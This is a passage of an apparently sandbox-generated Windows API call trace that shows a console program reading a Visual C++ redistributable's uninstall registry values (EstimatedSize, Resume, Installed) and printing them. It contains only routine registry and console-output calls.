returned 0x204bb0 [0150.846] GetFileType (hFile=0x50) returned 0x1 [0150.846] lstrlenW (lpString="REG_SZ") returned 6 [0150.846] GetConsoleOutputCP () returned 0x1b5 [0150.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.846] GetConsoleOutputCP () returned 0x1b5 [0150.846] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0150.846] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.846] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.847] __iob_func () returned 0x7fefd702a80 [0150.847] _fileno (_File=0x7fefd702ab0) returned 1 [0150.847] _errno () returned 0x204bb0 [0150.847] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.847] _errno () returned 0x204bb0 [0150.847] GetFileType (hFile=0x50) returned 0x1 [0150.847] lstrlenW (lpString=" ") returned 4 [0150.847] GetConsoleOutputCP () returned 0x1b5 [0150.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.847] GetConsoleOutputCP () returned 0x1b5 [0150.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.847] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.847] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.847] __iob_func () returned 0x7fefd702a80 [0150.847] _fileno (_File=0x7fefd702ab0) returned 1 [0150.847] _errno () returned 0x204bb0 [0150.847] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.847] _errno () returned 0x204bb0 [0150.847] GetFileType (hFile=0x50) returned 0x1 [0150.847] lstrlenW (lpString="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall") returned 99 [0150.847] GetConsoleOutputCP () returned 0x1b5 [0150.847] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall", cchWideChar=99, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 99 [0150.847] GetConsoleOutputCP () returned 0x1b5 [0150.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall", cchWideChar=99, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\"C:\\ProgramData\\Package Cache\\{e52a6842-b0ac-476e-b48f-378a97a67346}\\VC_redist.x64.exe\" /uninstall", lpUsedDefaultChar=0x0) returned 99 [0150.848] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 99 [0150.848] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.848] __iob_func () returned 0x7fefd702a80 [0150.848] _fileno (_File=0x7fefd702ab0) returned 1 [0150.848] _errno () returned 0x204bb0 [0150.848] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.848] _errno () returned 0x204bb0 [0150.848] GetFileType (hFile=0x50) returned 0x1 [0150.848] lstrlenW (lpString="\n") returned 1 [0150.848] GetConsoleOutputCP () returned 0x1b5 [0150.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.848] GetConsoleOutputCP () returned 0x1b5 [0150.848] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.848] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.848] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.848] GetProcessHeap () returned 0x3c0000 [0150.848] GetProcessHeap () returned 0x3c0000 [0150.848] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70) returned 1 [0150.848] GetProcessHeap () returned 0x3c0000 [0150.848] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3e1c70) returned 0xcc [0150.848] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3e1c70 | out: hHeap=0x3c0000) returned 1 [0150.848] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.848] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.849] GetProcessHeap () returned 0x3c0000 [0150.849] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.849] GetProcessHeap () returned 0x3c0000 [0150.849] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.849] GetProcessHeap () returned 0x3c0000 [0150.849] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.849] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x65d0, pcbData=0x29f780*=0x4) returned 0x0 [0150.849] __iob_func () returned 0x7fefd702a80 [0150.849] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.849] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.849] _fileno (_File=0x7fefd702ab0) returned 1 [0150.849] _errno () returned 0x204bb0 [0150.849] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.849] _errno () returned 0x204bb0 [0150.849] GetFileType (hFile=0x50) returned 0x1 [0150.849] lstrlenW (lpString=" ") returned 4 [0150.849] GetConsoleOutputCP () returned 0x1b5 [0150.849] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.849] GetConsoleOutputCP () returned 0x1b5 [0150.849] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.849] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.849] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.849] lstrlenW (lpString="EstimatedSize") returned 13 [0150.849] __iob_func () returned 0x7fefd702a80 [0150.849] _fileno (_File=0x7fefd702ab0) returned 1 [0150.849] _errno () returned 0x204bb0 [0150.849] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.850] _errno () returned 0x204bb0 [0150.850] GetFileType (hFile=0x50) returned 0x1 [0150.850] lstrlenW (lpString="EstimatedSize") returned 13 [0150.850] GetConsoleOutputCP () returned 0x1b5 [0150.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0150.850] GetConsoleOutputCP () returned 0x1b5 [0150.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0150.850] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0150.850] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.850] __iob_func () returned 0x7fefd702a80 [0150.850] _fileno (_File=0x7fefd702ab0) returned 1 [0150.850] _errno () returned 0x204bb0 [0150.850] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.850] _errno () returned 0x204bb0 [0150.850] GetFileType (hFile=0x50) returned 0x1 [0150.850] lstrlenW (lpString=" ") returned 4 [0150.850] GetConsoleOutputCP () returned 0x1b5 [0150.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.850] GetConsoleOutputCP () returned 0x1b5 [0150.850] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.850] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.851] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.851] __iob_func () returned 0x7fefd702a80 [0150.851] _fileno (_File=0x7fefd702ab0) returned 1 [0150.851] _errno () returned 0x204bb0 [0150.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.851] _errno () returned 0x204bb0 [0150.851] GetFileType (hFile=0x50) returned 0x1 [0150.851] lstrlenW (lpString="REG_DWORD") returned 9 [0150.851] GetConsoleOutputCP () returned 0x1b5 [0150.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.851] GetConsoleOutputCP () returned 0x1b5 [0150.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.851] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.851] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.851] __iob_func () returned 0x7fefd702a80 [0150.851] _fileno (_File=0x7fefd702ab0) returned 1 [0150.851] _errno () returned 0x204bb0 [0150.851] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.851] _errno () returned 0x204bb0 [0150.851] GetFileType (hFile=0x50) returned 0x1 [0150.851] lstrlenW (lpString=" ") returned 4 [0150.851] GetConsoleOutputCP () returned 0x1b5 [0150.851] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.852] GetConsoleOutputCP () returned 0x1b5 [0150.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.852] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.852] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.852] __iob_func () returned 0x7fefd702a80 [0150.852] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.852] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x65d0") returned 6 [0150.852] _fileno (_File=0x7fefd702ab0) returned 1 [0150.852] _errno () returned 0x204bb0 [0150.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.852] _errno () returned 0x204bb0 [0150.852] GetFileType (hFile=0x50) returned 0x1 [0150.852] lstrlenW (lpString="0x65d0") returned 6 [0150.852] GetConsoleOutputCP () returned 0x1b5 [0150.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x65d0", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.852] GetConsoleOutputCP () returned 0x1b5 [0150.852] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x65d0", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x65d0", lpUsedDefaultChar=0x0) returned 6 [0150.852] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.852] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.852] __iob_func () returned 0x7fefd702a80 [0150.852] _fileno (_File=0x7fefd702ab0) returned 1 [0150.852] _errno () returned 0x204bb0 [0150.852] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.852] _errno () returned 0x204bb0 [0150.853] GetFileType (hFile=0x50) returned 0x1 [0150.853] lstrlenW (lpString="\n") returned 1 [0150.853] GetConsoleOutputCP () returned 0x1b5 [0150.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.853] GetConsoleOutputCP () returned 0x1b5 [0150.853] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.853] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.853] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.853] GetProcessHeap () returned 0x3c0000 [0150.853] GetProcessHeap () returned 0x3c0000 [0150.853] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.853] GetProcessHeap () returned 0x3c0000 [0150.853] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.853] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.853] RegEnumValueW (in: hKey=0x5c, dwIndex=0x12, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Resume", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.853] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.853] GetProcessHeap () returned 0x3c0000 [0150.853] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.853] GetProcessHeap () returned 0x3c0000 [0150.853] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.853] GetProcessHeap () returned 0x3c0000 [0150.853] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.853] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Resume", dwFlags=0x1000ffff, pdwType=0x29f700, pvData=0x3dee90, pcbData=0x29f780*=0x4 | out: pdwType=0x29f700*=0x4, pvData=0x3dee90*=0x3, pcbData=0x29f780*=0x4) returned 0x0 [0150.854] __iob_func () returned 0x7fefd702a80 [0150.854] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.854] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x29f690 | out: _Buffer=" ") returned 4 [0150.854] _fileno (_File=0x7fefd702ab0) returned 1 [0150.854] _errno () returned 0x204bb0 [0150.854] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.854] _errno () returned 0x204bb0 [0150.854] GetFileType (hFile=0x50) returned 0x1 [0150.854] lstrlenW (lpString=" ") returned 4 [0150.854] GetConsoleOutputCP () returned 0x1b5 [0150.854] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.854] GetConsoleOutputCP () returned 0x1b5 [0150.854] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.854] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.854] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.854] lstrlenW (lpString="Resume") returned 6 [0150.854] __iob_func () returned 0x7fefd702a80 [0150.854] _fileno (_File=0x7fefd702ab0) returned 1 [0150.854] _errno () returned 0x204bb0 [0150.854] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.854] _errno () returned 0x204bb0 [0150.854] GetFileType (hFile=0x50) returned 0x1 [0150.854] lstrlenW (lpString="Resume") returned 6 [0150.854] GetConsoleOutputCP () returned 0x1b5 [0150.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0150.855] GetConsoleOutputCP () returned 0x1b5 [0150.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Resume", cchWideChar=6, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Resume", lpUsedDefaultChar=0x0) returned 6 [0150.855] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0150.855] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.855] __iob_func () returned 0x7fefd702a80 [0150.855] _fileno (_File=0x7fefd702ab0) returned 1 [0150.855] _errno () returned 0x204bb0 [0150.855] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.855] _errno () returned 0x204bb0 [0150.855] GetFileType (hFile=0x50) returned 0x1 [0150.855] lstrlenW (lpString=" ") returned 4 [0150.855] GetConsoleOutputCP () returned 0x1b5 [0150.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.855] GetConsoleOutputCP () returned 0x1b5 [0150.855] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.855] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.855] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.855] __iob_func () returned 0x7fefd702a80 [0150.855] _fileno (_File=0x7fefd702ab0) returned 1 [0150.855] _errno () returned 0x204bb0 [0150.855] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.855] _errno () returned 0x204bb0 [0150.855] GetFileType (hFile=0x50) returned 0x1 [0150.856] lstrlenW (lpString="REG_DWORD") returned 9 [0150.856] GetConsoleOutputCP () returned 0x1b5 [0150.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0150.856] GetConsoleOutputCP () returned 0x1b5 [0150.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0150.856] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0150.856] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.856] __iob_func () returned 0x7fefd702a80 [0150.856] _fileno (_File=0x7fefd702ab0) returned 1 [0150.856] _errno () returned 0x204bb0 [0150.856] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.856] _errno () returned 0x204bb0 [0150.856] GetFileType (hFile=0x50) returned 0x1 [0150.856] lstrlenW (lpString=" ") returned 4 [0150.856] GetConsoleOutputCP () returned 0x1b5 [0150.856] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0150.856] GetConsoleOutputCP () returned 0x1b5 [0150.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0150.857] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0150.857] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.857] __iob_func () returned 0x7fefd702a80 [0150.857] _memicmp (_Buf1=0x3db630, _Buf2=0xff571458, _Size=0x7) returned 0 [0150.857] _vsnwprintf (in: _Buffer=0x3dbe50, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x29f690 | out: _Buffer="0x3") returned 3 [0150.857] _fileno (_File=0x7fefd702ab0) returned 1 [0150.857] _errno () returned 0x204bb0 [0150.857] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.857] _errno () returned 0x204bb0 [0150.857] GetFileType (hFile=0x50) returned 0x1 [0150.857] lstrlenW (lpString="0x3") returned 3 [0150.857] GetConsoleOutputCP () returned 0x1b5 [0150.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0150.857] GetConsoleOutputCP () returned 0x1b5 [0150.857] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x3", cchWideChar=3, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x3", lpUsedDefaultChar=0x0) returned 3 [0150.857] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0150.857] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.857] __iob_func () returned 0x7fefd702a80 [0150.857] _fileno (_File=0x7fefd702ab0) returned 1 [0150.857] _errno () returned 0x204bb0 [0150.857] _get_osfhandle (_FileHandle=1) returned 0x50 [0150.857] _errno () returned 0x204bb0 [0150.857] GetFileType (hFile=0x50) returned 0x1 [0150.858] lstrlenW (lpString="\n") returned 1 [0150.858] GetConsoleOutputCP () returned 0x1b5 [0150.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0150.858] GetConsoleOutputCP () returned 0x1b5 [0150.858] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xff582710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0150.858] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0150.858] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0150.858] GetProcessHeap () returned 0x3c0000 [0150.858] GetProcessHeap () returned 0x3c0000 [0150.858] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) returned 1 [0150.858] GetProcessHeap () returned 0x3c0000 [0150.858] RtlSizeHeap (HeapHandle=0x3c0000, Flags=0x0, MemoryPointer=0x3dee90) returned 0x6 [0150.858] HeapFree (in: hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90 | out: hHeap=0x3c0000) returned 1 [0150.858] RegEnumValueW (in: hKey=0x5c, dwIndex=0x13, lpValueName=0x3d78d0, lpcchValueName=0x29f7e4, lpReserved=0x0, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Installed", lpcchValueName=0x29f7e4, lpType=0x29f7e8, lpData=0x0, lpcbData=0x0) returned 0x0 [0150.858] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Installed", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x29f780*=0x4) returned 0x0 [0150.858] GetProcessHeap () returned 0x3c0000 [0150.858] RtlAllocateHeap (HeapHandle=0x3c0000, Flags=0xc, Size=0x6) returned 0x3dee90 [0150.858] GetProcessHeap () returned 0x3c0000 [0150.858] HeapValidate (hHeap=0x3c0000, dwFlags=0x0, lpMem=0x3dee90) 